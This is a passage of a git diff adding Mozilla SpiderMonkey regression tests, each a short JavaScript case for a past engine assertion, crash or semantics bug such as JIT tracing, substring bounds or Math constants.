+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459085;
+var summary = 'Do not assert with JIT: Should not move data from GPR to XMM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var m = new Number(3);
+ function foo() { for (var i=0; i<20;i++) m.toString(); }
+ foo();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-459628.js b/js/src/tests/js1_5/Regress/regress-459628.js
new file mode 100644
index 000000000..f0d4f6c38
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-459628.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459628;
+var summary = 'Do not assert: STOBJ_GET_SLOT(obj, map->freeslot).isUndefined()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+(function() {
+ for (var odjoff = 0; odjoff < 4; ++odjoff) {
+ new Date()[0] = 3;
+ }
+})();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-459990.js b/js/src/tests/js1_5/Regress/regress-459990.js
new file mode 100644
index 000000000..e06b88072
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-459990.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459990;
+var summary = 'Do not crash with if (true && a && b) { }';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ if (true && a && b) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-460024.js b/js/src/tests/js1_5/Regress/regress-460024.js
new file mode 100644
index 000000000..4794b2799
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-460024.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460024;
+var summary = 'Regression from bug 451154';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+ actual = 'FAIL';
+
+
+ var js = 'Function.prototype.inherits = function(a) {' +
+ ' actual = "PASS";' +
+ '};' +
+ 'function f() { }' +
+ 'f.inherits();';
+ function doeval(callback) { callback(js) };
+ doeval(eval);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-460117.js b/js/src/tests/js1_5/Regress/regress-460117.js
new file mode 100644
index 000000000..6fed6b467
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-460117.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460117;
+var summary = 'TM: hasOwnProperty with JIT';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function t(o, proplist) {
+ var props=proplist.split(/\s+/g);
+ for (var i=0, len=props.length; i<len; i++) {
+ if (o.hasOwnProperty(props[i])) {
+ // do something
+ } else {
+ actual += (props[i]+': '+o.hasOwnProperty(props[i]));
+ }
+ }
+ };
+
+ t({ bar: 123, baz: 123, quux: 123 }, 'bar baz quux');
+
+ reportCompare(expect, actual, summary + ' : nonjit');
+
+
+ t({ bar: 123, baz: 123, quux: 123 }, 'bar baz quux');
+
+
+ reportCompare(expect, actual, summary + ' : jit');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-460886-01.js b/js/src/tests/js1_5/Regress/regress-460886-01.js
new file mode 100644
index 000000000..dd063d697
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-460886-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460886;
+var summary = 'Do not asssert: end >= begin';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 5; ++j) { "".substring(5); }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-460886-02.js b/js/src/tests/js1_5/Regress/regress-460886-02.js
new file mode 100644
index 000000000..c23ba07b9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-460886-02.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 460886;
+var summary = 'Do not crash @ js_NewStringCopy';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j = 0; j < 5; ++j) { "".substring(-60000); }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-461307.js b/js/src/tests/js1_5/Regress/regress-461307.js
new file mode 100644
index 000000000..28e6ed4fe
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-461307.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461307;
+var summary = 'Do not crash @ QuoteString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ print(function() { for(/x/[''] in []) { } });
+
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-461723.js b/js/src/tests/js1_5/Regress/regress-461723.js
new file mode 100644
index 000000000..c0916a474
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-461723.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 461723;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 30; ++j) { (0 + void 0) && 0; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-462292.js b/js/src/tests/js1_5/Regress/regress-462292.js
new file mode 100644
index 000000000..8867ea45c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-462292.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462292;
+var summary = 'Do not assert: pn->pn_op == JSOP_CALL || pn->pn_op == JSOP_EVAL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ [].apply() = 1;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-462879.js b/js/src/tests/js1_5/Regress/regress-462879.js
new file mode 100644
index 000000000..d271945d1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-462879.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462879;
+var summary = 'Do not assert: UPVAR_FRAME_SKIP(uva->vector[i]) == 1';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function(c){eval("eval('c.x')")})();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-462989.js b/js/src/tests/js1_5/Regress/regress-462989.js
new file mode 100644
index 000000000..881f6ee3e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-462989.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462989;
+var summary = 'Do not assert: need a way to EOT now, since this is trace end';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function a()
+{
+ "".split(";");
+ this.v = true;
+}
+
+function b()
+{
+ var z = { t: function() { for (var i = 0; i < 5; i++) { a(); } } };
+ z.t();
+}
+
+b();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-463259.js b/js/src/tests/js1_5/Regress/regress-463259.js
new file mode 100644
index 000000000..f38995706
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-463259.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463259;
+var summary = 'Do not assert: VALUE_IS_FUNCTION(cx, fval)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ (function(){
+ eval("(function(){ for (var j=0;j<4;++j) if (j==3) undefined(); })();");
+ })();
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-463782.js b/js/src/tests/js1_5/Regress/regress-463782.js
new file mode 100644
index 000000000..d2805a58b
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-463782.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 463782;
+var summary = 'Do not assert: "need a way to EOT now, since this is trace end": 0';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function dateCheck() {
+ return true;
+}
+function dateToString()
+{
+ if (!this.dtsReturnValue)
+ this.dtsReturnValue = "200811080616";
+ return this.dtsReturnValue
+ }
+
+function placeAd2() {
+ var adClasses = {
+ "": {
+ templateCheck: function () {
+ var foo = ({
+ allianz:{
+ where:["intl/turningpoints"],
+ when:["200805010000/200901010000"],
+ what:["!234x60", "!bigbox_2", "!leaderboard_2", "!88x31"]
+ },
+ trendMicro:{
+ where:["techbiz/tech/threatmeter"],
+ when:["200806110000/200812310000"],
+ what:["leaderboard"]
+ },
+ rolex_bb:{
+ where:["politics/transitions"],
+ when:["200811050000/200901312359"],
+ what:["!bigbox"]
+ }
+ });
+
+ for (a in foo) {
+ if (dateCheck("", dateToString())) {
+ for (var c = 0; c < 1; c++) {
+ }
+ }
+ }
+ return true;
+ }
+ }
+ };
+
+ adClasses[""].templateCheck();
+}
+
+placeAd2();
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_5/Regress/regress-464334.js b/js/src/tests/js1_5/Regress/regress-464334.js
new file mode 100644
index 000000000..9991af06e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-464334.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464334;
+var summary = 'Do not assert: (size_t) (fp->regs->sp - fp->slots) <= fp->script->nslots';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g()
+ {
+ gc();
+ }
+
+ var a = [];
+ for (var i = 0; i != 20; ++i)
+ a.push(i);
+ g.apply(this, a);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-464862.js b/js/src/tests/js1_5/Regress/regress-464862.js
new file mode 100644
index 000000000..cf555c76f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-464862.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464862;
+var summary = 'Do not assert: ( int32_t(delta) == uint8_t(delta) )';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function ygTreeView(id) {
+ this.init(id);
+}
+
+ygTreeView.prototype.init = function (id) {this.root = new ygRootNode(this);};
+
+function ygNode() {}
+
+ygNode.prototype.nextSibling = null;
+
+ygNode.prototype.init = function (_32, _33, _34) {
+ this.children = [];
+ this.expanded = _34;
+ if (_33) {
+ this.tree = _33.tree;
+ this.depth = _33.depth + 1;
+ _33.appendChild(this);
+ }
+};
+
+ygNode.prototype.appendChild = function (_35) {
+ if (this.hasChildren()) {
+ var sib = this.children[this.children.length - 1];
+ }
+ this.children[this.children.length] = _35;
+};
+
+ygNode.prototype.getElId = function () {};
+
+ygNode.prototype.getNodeHtml = function () {};
+
+ygNode.prototype.getToggleElId = function () {};
+
+ygNode.prototype.getStyle = function () {
+ var loc = this.nextSibling ? "t" : "l";
+ var _39 = "n";
+ if (this.hasChildren(true)) {}
+};
+
+ygNode.prototype.hasChildren = function () {return this.children.length > 0;};
+
+ygNode.prototype.getHtml = function () {
+ var sb = [];
+ sb[sb.length] = "<div class=\"ygtvitem\" id=\"" + this.getElId() + "\">";
+ sb[sb.length] = this.getNodeHtml();
+ sb[sb.length] = this.getChildrenHtml();
+};
+
+ygNode.prototype.getChildrenHtml = function () {
+ var sb = [];
+ if (this.hasChildren(true) && this.expanded) {
+ sb[sb.length] = this.renderChildren();
+ }
+};
+
+ygNode.prototype.renderChildren = function () {return this.completeRender();};
+
+ygNode.prototype.completeRender = function () {
+ var sb = [];
+ for (var i = 0; i < this.children.length; ++i) {
+ sb[sb.length] = this.children[i].getHtml();
+ }
+};
+
+ygRootNode.prototype = new ygNode;
+
+function ygRootNode(_48) {
+ this.init(null, null, true);
+}
+
+ygTextNode.prototype = new ygNode;
+
+function ygTextNode(_49, _50, _51) {
+ this.init(_49, _50, _51);
+ this.setUpLabel(_49);
+}
+
+ygTextNode.prototype.setUpLabel = function (_52) {
+ if (typeof _52 == "string") {}
+ if (_52.target) {}
+ this.labelElId = "ygtvlabelel" + this.index;
+};
+
+ygTextNode.prototype.getNodeHtml = function () {
+ var sb = new Array;
+ sb[sb.length] = "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">";
+ sb[sb.length] = "<tr>";
+ for (i = 0; i < this.depth; ++i) {}
+ sb[sb.length] = " id=\"" + this.getToggleElId() + "\"";
+ sb[sb.length] = " class=\"" + this.getStyle() + "\"";
+ if (this.hasChildren(true)) {}
+ sb[sb.length] = " id=\"" + this.labelElId + "\"";
+};
+
+function buildUserTree() {
+ userTree = new ygTreeView("userTree");
+ addMenuNode(userTree, "N", "navheader");
+ addMenuNode(userTree, "R", "navheader");
+ addMenuNode(userTree, "S", "navheader");
+}
+
+function addMenuNode(tree, label, styleClass) {
+ new ygTextNode({}, tree.root, false);
+}
+
+buildUserTree();
+userTree.root.getHtml();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-465013.js b/js/src/tests/js1_5/Regress/regress-465013.js
new file mode 100644
index 000000000..ca9a1038c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465013.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465013;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'bgcolor="dummy" quality="dummy" allowScriptAccess="dummy" ';
+
+
+ print((function(x) {
+ var ja = "";
+ var ka = {bgcolor:"#FFFFFF", quality:"high", allowScriptAccess:"always"};
+ for (var la in ka) {
+ ja +=[la] + "=\"" + x/*ka[la]*/ + "\" ";
+ }
+ return actual = ja;
+ })("dummy"));
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465132.js b/js/src/tests/js1_5/Regress/regress-465132.js
new file mode 100644
index 000000000..273fed73a
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465132.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465132;
+var summary = 'TM: Mathematical constants should be constant';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var constants = ['E', 'LN10', 'LN2', 'LOG2E', 'LOG10E', 'PI', 'SQRT1_2', 'SQRT2'];
+
+ for (var j = 0; j < constants.length; j++)
+ {
+ expect = Math[constants[j]];
+
+ for(i=0;i<9;++i)
+ ++Math[constants[j]];
+
+ for(i=0;i<9;++i)
+ eval('++Math.' + constants[j]);
+
+ actual = Math[constants[j]];
+
+ reportCompare(expect, actual, summary + ' Math.' + constants[j]);
+ }
+
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465133.js b/js/src/tests/js1_5/Regress/regress-465133.js
new file mode 100644
index 000000000..0f21a5603
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465133.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465133;
+var summary = '{} < {}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'false,false,false,false,false,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += ({} < {}) + ',';
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465135.js b/js/src/tests/js1_5/Regress/regress-465135.js
new file mode 100644
index 000000000..1b5e87abf
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465135.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465135;
+var summary = 'true << true';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '2,2,2,2,2,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (true << true) + ',';
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465136.js b/js/src/tests/js1_5/Regress/regress-465136.js
new file mode 100644
index 000000000..5756f44fe
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465136.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465136;
+var summary = 'false == ""';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'true,true,true,true,true,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (false == '') + ',';
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465137.js b/js/src/tests/js1_5/Regress/regress-465137.js
new file mode 100644
index 000000000..3789a00d0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465137.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465137;
+var summary = '!NaN is not false';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'falsy,falsy,falsy,falsy,falsy,';
+ actual = '';
+
+
+ for (var i=0;i<5;++i) actual += (!(NaN) ? "falsy" : "truthy") + ',';
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465262.js b/js/src/tests/js1_5/Regress/regress-465262.js
new file mode 100644
index 000000000..0d016b192
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465262.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465262;
+var summary = 'truthiness of (3 > null)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = 'true,true,true,true,true,';
+
+ for(j=0;j<5;++j) print(actual += "" + (3 > null) + ',')
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465272.js b/js/src/tests/js1_5/Regress/regress-465272.js
new file mode 100644
index 000000000..d544e4f1d
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465272.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465272;
+var summary = 'subtraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ expect = '3,3,3,3,3,';
+
+ for (j=0;j<5;++j) print(actual += "" + ((5) - 2) + ',');
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465347.js b/js/src/tests/js1_5/Regress/regress-465347.js
new file mode 100644
index 000000000..6a4d6081e
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-465347.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465347;
+var summary = 'Test integer to id in js_Int32ToId';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o;
+
+ o = new Array();
+
+ expect = undefined;
+ o[0xffffffff] = 'end';
+ actual = o[-1];
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = 42;
+ o['42'] = 42;
+ actual = o[42];
+ reportCompare(expect, actual, summary + ': 2');
+
+ //
+
+ o = new Object();
+
+ expect = undefined;
+ o[0xffffffff] = 'end';
+ actual = o[-1];
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = 42;
+ o['42'] = 42;
+ actual = o[42];
+ reportCompare(expect, actual, summary + ': 4');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-465366.js b/js/src/tests/js1_5/Regress/regress-465366.js
new file mode 100644
index 000000000..5170e23c0
